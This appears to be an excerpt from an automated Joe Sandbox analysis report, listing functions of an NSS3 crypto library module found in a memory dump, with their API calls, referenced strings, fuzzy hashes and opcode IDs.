Instruction Fuzzy Hash: DC219CB1A15A018FD700AF78C485569BBF4FF05304F05896ED888CB711EB39E8C9CB92

Function 6CB2A540 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6CB2A390: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB2A415

PK11_ExtractKeyValue.NSS3(00000000), ref: 6CB2A5AC
memcpy.VCRUNTIME140(?,?,?), ref: 6CB2A5BF
PK11_FreeSymKey.NSS3(00000000), ref: 6CB2A5C8

Part of subcall function 6CACADC0: TlsGetValue.KERNEL32(?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE10
Part of subcall function 6CACADC0: EnterCriticalSection.KERNEL32(?,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE24
Part of subcall function 6CACADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CAAD079,00000000,00000001), ref: 6CACAE5A
Part of subcall function 6CACADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE6F
Part of subcall function 6CACADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE7F
Part of subcall function 6CACADC0: TlsGetValue.KERNEL32(?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAEB1
Part of subcall function 6CACADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAEC9

PK11_FreeSymKey.NSS3(00000000), ref: 6CB2A5D9
PR_SetError.NSS3(FFFFD04C,00000000), ref: 6CB2A5E8

Strings

*@, xrefs: 6CB2A589

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: K11_Value$CriticalEnterErrorFreeSection$ExtractUnlockfreememcpymemset
String ID: *@
API String ID: 2660593509-1483644743
Opcode ID: 19f2b5759f07074783799612596a219e1e5cebe8f9560ce96c1cccb28fb5813d
Instruction ID: c481ab96ffbffcc6915e48e7211ff26ec27b6dcd1d65982af3fd684673365f59
Opcode Fuzzy Hash: 19f2b5759f07074783799612596a219e1e5cebe8f9560ce96c1cccb28fb5813d
Instruction Fuzzy Hash: 3B2105B1D0424497C7019F299D016AFBBB4EF9971CF014228EC5C63740EB39AA488BD3

Function 6CB92C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CB92CA0
PR_ExitMonitor.NSS3 ref: 6CB92CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CB92CD1
strdup.MOZGLUE(?), ref: 6CB92CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CB92D27

Strings

Loaded library %s (static lib), xrefs: 6CB92D22

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: bdbf0067d9fc60584ea503cdffc3050317a6e251912a131fcbd1e28130699572
Instruction ID: a06a86ac77e167676f12e997cdc4fe1390c22248505dfe7e2b4f8939fd20fac3
Opcode Fuzzy Hash: bdbf0067d9fc60584ea503cdffc3050317a6e251912a131fcbd1e28130699572
Instruction Fuzzy Hash: 0D1108B5B012909FEB508F24D84466A77B8EB4A75DF18843DD809C7B42D731E848CBA3

Function 6CAE0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA887ED,00000800,6CA7EF74,00000000), ref: 6CAE1000
PR_NewLock.NSS3(?,00000800,6CA7EF74,00000000), ref: 6CAE1016

Part of subcall function 6CB498D0: calloc.MOZGLUE(00000001,00000084,6CA70936,00000001,?,6CA7102C), ref: 6CB498E5

PL_InitArenaPool.NSS3(00000000,security,6CA887ED,00000008,?,00000800,6CA7EF74,00000000), ref: 6CAE102B
TlsGetValue.KERNEL32(00000000,?,?,6CA887ED,00000800,6CA7EF74,00000000), ref: 6CAE1044
free.MOZGLUE(00000000,?,00000800,6CA7EF74,00000000), ref: 6CAE1064

Strings

security, xrefs: 6CAE1025

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: d3508202a320b3f0bc1f2c491f85bca4e591ad39462cb7fa8cec55d52104e850
Instruction ID: 2cbf748979ba71c3ade7174610fa179b7542365cf9188e409757dd7078629627
Opcode Fuzzy Hash: d3508202a320b3f0bc1f2c491f85bca4e591ad39462cb7fa8cec55d52104e850
Instruction Fuzzy Hash: 0B010875A402605BE7203F3C9C057663778BF0A799F050115EA0897E53EB71D1D4EBE1

Function 6CB10570 Relevance: 10.5, APIs: 7, Instructions: 47COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CAFC89B,FFFFFE80,?,6CAFC89B), ref: 6CB1058B
free.MOZGLUE(?,?,6CAFC89B), ref: 6CB10592
PR_SetError.NSS3(FFFFE09A,00000000,FFFFFE80,?,6CAFC89B), ref: 6CB105AE
PR_SetError.NSS3(FFFFE09A,00000000,FFFFFE80,?,6CAFC89B), ref: 6CB105C2
DeleteCriticalSection.KERNEL32(6CAFC89B,?,6CAFC89B), ref: 6CB105D8
free.MOZGLUE(?,?,6CAFC89B), ref: 6CB105DF
PR_SetError.NSS3(FFFFE09A,00000000,?,6CAFC89B), ref: 6CB105FB

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Error$CriticalDeleteSectionfree$Value
String ID:
API String ID: 1757055810-0
Opcode ID: 476104664b60c0a8ab5fb26601f7982987e3cc18ff3c2f52bf8f85fef7f85655
Instruction ID: 763de5a7b450924d24828040ad4436bcaf82abdc97f6f3a29373f77461a48333
Opcode Fuzzy Hash: 476104664b60c0a8ab5fb26601f7982987e3cc18ff3c2f52bf8f85fef7f85655
Instruction Fuzzy Hash: 8B01D871A096E15BFE24AFE4AC0D74D3B789B0E759F400020E50A57E40DF64A51887D7

Function 6CAD8780 Relevance: 10.5, APIs: 7, Instructions: 44COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,?,6CA8518F,?,-00000001,?,6CA861C4,?,6CA85FA7), ref: 6CAD8790
DeleteCriticalSection.KERNEL32(?,?,?,?,6CA8518F,?,-00000001,?,6CA861C4,?,6CA85FA7), ref: 6CAD87AB
free.MOZGLUE(?,?,6CA8518F,?,-00000001,?,6CA861C4,?,6CA85FA7), ref: 6CAD87B2
DeleteCriticalSection.KERNEL32(0000000D,?,?,?,6CA8518F,?,-00000001,?,6CA861C4,?,6CA85FA7), ref: 6CAD87CD
free.MOZGLUE(00000001,?,6CA8518F,?,-00000001,?,6CA861C4,?,6CA85FA7), ref: 6CAD87D4
DeleteCriticalSection.KERNEL32(?,?,?,?,6CA8518F,?,-00000001,?,6CA861C4,?,6CA85FA7), ref: 6CAD87E7
free.MOZGLUE(?,?,6CA8518F,?,-00000001,?,6CA861C4,?,6CA85FA7), ref: 6CAD87EE

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 8310dd86d6eafaeca46d7035ff1d6eeed83fa3f77f7630a25908c0926c6cf53a
Instruction ID: 34eafe6f7c1813896eea934e366296415991ba233f3c4321e627540c9943c3d3
Opcode Fuzzy Hash: 8310dd86d6eafaeca46d7035ff1d6eeed83fa3f77f7630a25908c0926c6cf53a
Instruction Fuzzy Hash: 8D0184BA601B159BCA10EFA4C80D857B778BE4ABB13150329E96A83A40DB31F055CBD5

Function 6CB22E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB23046

Part of subcall function 6CB0EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB0EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CAF7FFB), ref: 6CB2312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB23154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB22E8B

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

Part of subcall function 6CB0F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CAF9BFF,?,00000000,00000000), ref: 6CB0F134

memcpy.VCRUNTIME140(8B3C75C0,?,6CAF7FFA), ref: 6CB22EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB2317B

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 368043beedb4be725ee6c4af9f939dab8086544b550d7b9ef65dfbb9856173fb
Instruction ID: 39c3b5a58b6016e1997fc9b8841d8839e52509a710d8aae45214e8ceda84adb3
Opcode Fuzzy Hash: 368043beedb4be725ee6c4af9f939dab8086544b550d7b9ef65dfbb9856173fb
Instruction Fuzzy Hash: 78A19B71A002589FDB24CF54CC80BEEB7B5EF49318F048199E94DA7741E735AA85CFA2

Function 6CAEED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CAEED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CAEEDCE

Part of subcall function 6CAE0BE0: malloc.MOZGLUE(6CAD8D2D,?,00000000,?), ref: 6CAE0BF8
Part of subcall function 6CAE0BE0: TlsGetValue.KERNEL32(6CAD8D2D,?,00000000,?), ref: 6CAE0C15

free.MOZGLUE(00000000,?,?,?,?,6CAEB04F), ref: 6CAEEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CAEEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CAEEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CAEEEFB

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 1d8edb8369bea5977c07aa1fa93d0f405156c15e8eec73debd564e43c70db34d
Instruction ID: 8af12865bba9ab09c0a6116a854bc1f5f64fae732ea0766ce92e671cf06275b1
Opcode Fuzzy Hash: 1d8edb8369bea5977c07aa1fa93d0f405156c15e8eec73debd564e43c70db34d
Instruction Fuzzy Hash: 5C8179B5A002059FEB14CF59DD84AAB77F5AF8C308F18442CE8159B751DB30E998DBE1

Function 6CAECCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAEC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CAEDAE2,?), ref: 6CAEC6C2

PR_Now.NSS3 ref: 6CAECD35

Part of subcall function 6CB49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CB90A27), ref: 6CB49DC6
Part of subcall function 6CB49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CB90A27), ref: 6CB49DD1
Part of subcall function 6CB49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB49DED

Part of subcall function 6CAD6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CA81C6F,00000000,00000004,?,?), ref: 6CAD6C3F

PR_GetCurrentThread.NSS3 ref: 6CAECD54

Part of subcall function 6CB49BF0: TlsGetValue.KERNEL32(?,?,?,6CB90A75), ref: 6CB49C07

Part of subcall function 6CAD7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CA81CCC,00000000,00000000,?,?), ref: 6CAD729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAECD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CAECE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CAECE2C

Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE10F3
Part of subcall function 6CAE10C0: EnterCriticalSection.KERNEL32(?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE110C
Part of subcall function 6CAE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1141
Part of subcall function 6CAE10C0: PR_Unlock.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1182
Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CAECE40

Part of subcall function 6CAE14C0: TlsGetValue.KERNEL32 ref: 6CAE14E0
Part of subcall function 6CAE14C0: EnterCriticalSection.KERNEL32 ref: 6CAE14F5
Part of subcall function 6CAE14C0: PR_Unlock.NSS3 ref: 6CAE150D

Part of subcall function 6CAECEE0: PORT_ArenaMark_Util.NSS3(?,6CAECD93,?), ref: 6CAECEEE
Part of subcall function 6CAECEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CAECD93,?), ref: 6CAECEFC
Part of subcall function 6CAECEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CAECD93,?), ref: 6CAECF0B
Part of subcall function 6CAECEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CAECD93,?), ref: 6CAECF1D

Part of subcall function 6CAECEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CAECD93,?), ref: 6CAECF47
Part of subcall function 6CAECEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CAECD93,?), ref: 6CAECF67
Part of subcall function 6CAECEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CAECD93,?,?,?,?,?,?,?,?,?,?,?,6CAECD93,?), ref: 6CAECF78

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 47b223fed4e2c27c2fcccafbbb7c3228ad0c237bbafcb909fe9ac5c86277ddb2
Instruction ID: 1c682e22e53d25bd3ecabdd5661c003178d7e2375f96c06600be94e29c9c2b63
Opcode Fuzzy Hash: 47b223fed4e2c27c2fcccafbbb7c3228ad0c237bbafcb909fe9ac5c86277ddb2
Instruction Fuzzy Hash: 5951C0B2A002109BEB10DF69DC40BAA7BF4AF4C34CF290524D91497741EB31ED89DBD1

Function 6CAE66C0 Relevance: 9.1, APIs: 6, Instructions: 132memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CAE66DF

Part of subcall function 6CAE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA887ED,00000800,6CA7EF74,00000000), ref: 6CAE1000
Part of subcall function 6CAE0FF0: PR_NewLock.NSS3(?,00000800,6CA7EF74,00000000), ref: 6CAE1016
Part of subcall function 6CAE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA887ED,00000008,?,00000800,6CA7EF74,00000000), ref: 6CAE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000168), ref: 6CAE66F9

Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE10F3
Part of subcall function 6CAE10C0: EnterCriticalSection.KERNEL32(?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE110C
Part of subcall function 6CAE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1141
Part of subcall function 6CAE10C0: PR_Unlock.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1182
Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE119C

memset.VCRUNTIME140(00000000,00000000,00000168), ref: 6CAE6728
PK11_GetInternalKeySlot.NSS3 ref: 6CAE6788
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CAE67AD
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CAE67C1

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ArenaUtil$Arena_Value$Alloc_AllocateCriticalEnterFreeInitInternalK11_LockOptionPoolSectionSlotUnlockcallocmemset
String ID:
API String ID: 3227582682-0
Opcode ID: 605a89017ec5a9158e7ce1514c55da8b6b213ad5412a52f8751779c7dcfde727
Instruction ID: 2393bb3f556c69b58e22e89fad53a8ea9dcbe996ce5b926f037c1c62c7b2cd0a
Opcode Fuzzy Hash: 605a89017ec5a9158e7ce1514c55da8b6b213ad5412a52f8751779c7dcfde727
Instruction Fuzzy Hash: 4E51F6B1D002198BDB00CF6AC9817DA7BF4AB08718F08456AED08EB746E7759984DBE1

Function 6CABEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CABEF38

Part of subcall function 6CAA9520: PK11_IsLoggedIn.NSS3(00000000,?,6CAD379E,?,00000001,?), ref: 6CAA9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CABEF53

Part of subcall function 6CAC4C20: TlsGetValue.KERNEL32 ref: 6CAC4C4C
Part of subcall function 6CAC4C20: EnterCriticalSection.KERNEL32(?), ref: 6CAC4C60
Part of subcall function 6CAC4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC4CA1
Part of subcall function 6CAC4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CAC4CBE
Part of subcall function 6CAC4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC4CD2
Part of subcall function 6CAC4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC4D3A

PR_GetCurrentThread.NSS3 ref: 6CABEF9E

Part of subcall function 6CB49BF0: TlsGetValue.KERNEL32(?,?,?,6CB90A75), ref: 6CB49C07

free.MOZGLUE(00000000), ref: 6CABEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CABF016
free.MOZGLUE(00000000), ref: 6CABF022

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 6d86dfc00a34dbd3902a326170ead4002b6d0cb9403459f537217b1cb11f4429
Instruction ID: ebce03e8c5abc431d2c753868cba9d1098ae2ad637364f60c8b177c4f86ae0f6
Opcode Fuzzy Hash: 6d86dfc00a34dbd3902a326170ead4002b6d0cb9403459f537217b1cb11f4429
Instruction Fuzzy Hash: F6418375E00109ABDF018FA9DC85BEE7BB9AF48358F044029F914A7350F772D959CBA1

Function 6CB22640 Relevance: 9.1, APIs: 6, Instructions: 119COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,8B7874C0,?,?,?,00000000,?,?,?,6CAF99E8,00000000,00000000,?,?,?,?), ref: 6CB2267E
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000000,?,?,?,6CAF99E8,00000000,00000000,?,?,?,?), ref: 6CB2269D
memcpy.VCRUNTIME140(00000000,8B7874C0,?,?,?,?,?,?,00000000,?,?,?,6CAF99E8,00000000,00000000,?), ref: 6CB226AC
PK11_AEADOp.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,6CAF99E8), ref: 6CB22714
PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,?,?,?,6CAF99E8,00000000,00000000,?,?,?,?,?), ref: 6CB22737
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB22750

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memcpy$ErrorK11_memset
String ID:
API String ID: 2328202073-0
Opcode ID: 6e5bd01b204d2d11f5dcec9278f8393f2d2ad0a866b359e3363110952a686a09
